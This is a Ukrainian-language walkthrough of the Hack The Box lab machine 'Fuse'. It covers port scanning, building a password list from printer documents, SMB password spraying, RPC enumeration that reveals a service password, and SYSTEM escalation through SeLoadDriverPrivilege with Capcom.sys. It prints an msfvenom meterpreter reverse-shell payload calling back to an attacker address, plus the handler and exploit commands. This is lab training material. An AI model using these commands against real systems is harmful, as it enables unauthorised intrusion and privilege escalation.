Дізнайтеся, як успішно пройти завдання Fuse на платформі Hack The Box, використовуючи методи збору інформації через RPC, аналіз даних про принтери та експлуатацію привілею SeLoadDriverPrivilege для підвищення прав доступу.
Публікуються рішення завдань, відправлених на доробку машинами з платформи HackTheBox.
У матеріалі описано процес створення словника паролів на основі непрямої інформації про користувачів, аналіз даних про принтери через RPC, а також методику підвищення привілеїв за допомогою SeLoadDriverPrivilege.
Машині призначено IP-адресу 10.10.10.193, яка додається до файлу /etc/hosts.
10.10.10.193 fuse.htb
Спочатку скануємо відкриті порти.
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1
Додаємо FQDN ім’я машини /etc/hosts.
10.10.10.193 fuse.fabricorp.local
На хості працює веб-сервер. Переглядаємо, що там є.
Нас зустрічає сайт із принтерами, на ньому доступні для завантаження чотири документи, які слід завантажити для подальшого аналізу.
Оскільки інших векторів атаки не виявлено, варто зафіксувати імена користувачів для подальшого використання.
cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq
Також створимо список паролів з інформації у документах.
cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4
Тепер варто перевірити можливість підключення до SMB для подальшого аналізу.
cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success
Є повідомлення, що пароль для користувача має бути змінено.
Задамо той самий пароль
smbpasswd -r 10.10.10.193 -U bhult
Однак пароль залишається дійсним лише кілька секунд.
Тому виконуємо дві команди у зв’язці.
smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193
Переглядаємо всіх користувачів, зробимо це за допомогою RPC.
І знаходимо цікавого користувача. Враховуючи всі теми з принтерами, яких вже триває весь час, погляньмо на принтери.
Знаходимо пароль. Створимо список із уже дійсних користувачів.
А ось тепер спробуємо пароль для всіх користувачів.
sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success
Виявлено двох користувачів. Успішно вдалося підключитися до WinRM і отримати перший прапор.
Подивимося інформацію про поточного користувача.
Виявлено привілей SeLoadDriverPrivilege, що відкриває вектор для локального підвищення привілеїв (LPE). Для виконання цього процесу знадобиться наступне програмне забезпечення: Capcom.sys, EoPLoadDriver і Meterpreter shell. Наступним кроком буде створення цих компонентів.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe
Активуємо листенер. Завантажимо все на хост і запустимо експлоїт meterpreter.
handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321
Тепер потрібно завантажити драйвер.
.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys
Перед запуском експлойту необхідно внести деякі зміни в його код. Потрібно закоментувати певні рядки у файлі:
/usr/share/metasploit-framework/modules/exploits/windows/local/capcom_sys_exec.rb.
Виконуємо:
У результаті успішного виконання експлойту створено нову сесію з правами SYSTEM. Це демонструє, до чого може призвести використання привілею SeLoadDriverPrivilege для локального підвищення привілеїв.
Стаття описує вирішення завдання Fuse на HackTheBox. Розглядається аналіз принтерів, створення словника паролів і використання привілею SeLoadDriverPrivilege для отримання доступу на рівні SYSTEM. Показано, як такі вразливості можуть використовуватися для підвищення привілеїв.